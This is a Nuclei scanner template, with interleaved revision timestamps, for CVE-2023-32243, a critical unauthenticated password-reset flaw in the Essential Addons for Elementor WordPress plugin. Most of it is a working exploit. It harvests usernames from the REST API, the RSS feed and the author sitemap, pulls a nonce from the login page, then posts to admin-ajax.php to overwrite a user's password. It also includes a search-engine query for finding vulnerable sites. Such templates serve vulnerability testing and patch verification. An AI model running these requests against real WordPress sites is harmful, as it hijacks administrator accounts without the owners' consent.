2023-05-26 07:34:37 +00:00
id : CVE-2023-32243
info :
2023-05-26 12:36:10 +00:00
name : WordPress Elementor Lite 5.7.1 - Arbitrary Password Reset
2023-07-13 08:07:51 +00:00
author : DhiyaneshDK,Vikas Kundu
2023-05-26 07:34:37 +00:00
severity : critical
description : |
Improper Authentication vulnerability in WPDeveloper Essential Addons for Elementor allows Privilege Escalation. This issue affects Essential Addons for Elementor : from 5.4.0 through 5.7.1.
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2023-32243
- https://patchstack.com/articles/critical-privilege-escalation-in-essential-addons-for-elementor-plugin-affecting-1-million-sites?_s_id=cve
- https://github.com/RandomRobbieBF/CVE-2023-32243/blob/main/exploit.py
- https://wordpress.org/plugins/essential-addons-for-elementor-lite/
2023-08-31 11:46:18 +00:00
- https://patchstack.com/database/vulnerability/essential-addons-for-elementor-lite/wordpress-essential-addons-for-elementor-plugin-5-4-0-5-7-1-unauthenticated-privilege-escalation-vulnerability?_s_id=cve
2023-05-26 07:34:37 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2023-32243
cwe-id : CWE-287
2023-08-31 11:46:18 +00:00
epss-score : 0.02722
cpe : cpe:2.3:a:wpdeveloper:essential_addons_for_elementor:*:*:*:*:*:wordpress:*:*
epss-percentile : 0.89171
2023-05-26 07:34:37 +00:00
metadata :
2023-05-26 12:36:10 +00:00
google-query : inurl:/wp-content/plugins/essential-addons-for-elementor-lite
2023-07-18 06:03:59 +00:00
max-request : 6
verified : true
2023-08-31 11:46:18 +00:00
framework : wordpress
vendor : wpdeveloper
product : essential_addons_for_elementor
2023-05-26 12:36:10 +00:00
tags : cve,cve2023,wordpress,wp,wp-plugin,auth-bypass,intrusive
2023-05-26 07:34:37 +00:00
2023-05-26 07:48:20 +00:00
http :
2023-05-26 07:34:37 +00:00
- raw :
- |
2023-07-13 08:07:51 +00:00
GET /wp-login.php HTTP/1.1
2023-05-26 07:34:37 +00:00
Host : {{Hostname}}
- |
2023-07-13 08:07:51 +00:00
GET /wp-json/wp/v2/users/ HTTP/1.1
2023-05-26 07:34:37 +00:00
Host : {{Hostname}}
2023-07-13 08:07:51 +00:00
- |
GET /?rest_route=/wp/v2/users HTTP/1.1
Host : {{Hostname}}
- |
GET /feed/ HTTP/1.1
Host : {{Hostname}}
- |
GET /author-sitemap.xml HTTP/1.1
Host : {{Hostname}}
- |
POST /wp-admin/admin-ajax.php HTTP/2
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
action=login_or_register_user&eael-resetpassword-submit=true&page_id=124&widget_id=224&eael-resetpassword-nonce={{nonce}}&eael-pass1={{password}}&eael-pass2={{password}}&rp_login={{wordpress-username}}
payloads :
password :
- "{{randstr}}"
2023-05-26 12:36:10 +00:00
host-redirects : true
max-redirects : 2
2023-07-13 08:07:51 +00:00
stop-at-first-match : true
2023-07-03 09:39:42 +00:00
matchers :
2023-07-13 08:07:51 +00:00
- type : word
part : body_6
words :
- '"success":true'
- '"data":'
condition : and
extractors :
- type : regex
name : nonce
part : body_1
group : 1
regex :
- 'nonce":"([0-9a-z]+)'
internal : true
- type : json
2023-07-18 05:56:19 +00:00
part : body
2023-07-13 08:07:51 +00:00
name : wordpress-username
group : 1
json :
- '.[] | .slug'
- '.[].name'
internal : true
- type : regex
2023-07-13 08:09:02 +00:00
part : body_4
2023-07-13 08:07:51 +00:00
name : wordpress-username
group : 1
regex :
- '<dc:creator><!\[CDATA\[([A-Za-z]+)\]\]><\/dc:creator>'
internal : true
2023-05-26 07:34:37 +00:00
- type : regex
2023-07-13 08:07:51 +00:00
part : body_5
name : wordpress-username
group : 1
2023-05-26 07:34:37 +00:00
regex :
2023-07-13 08:07:51 +00:00
- '\/author\/([a-z-]+)\/'
internal : true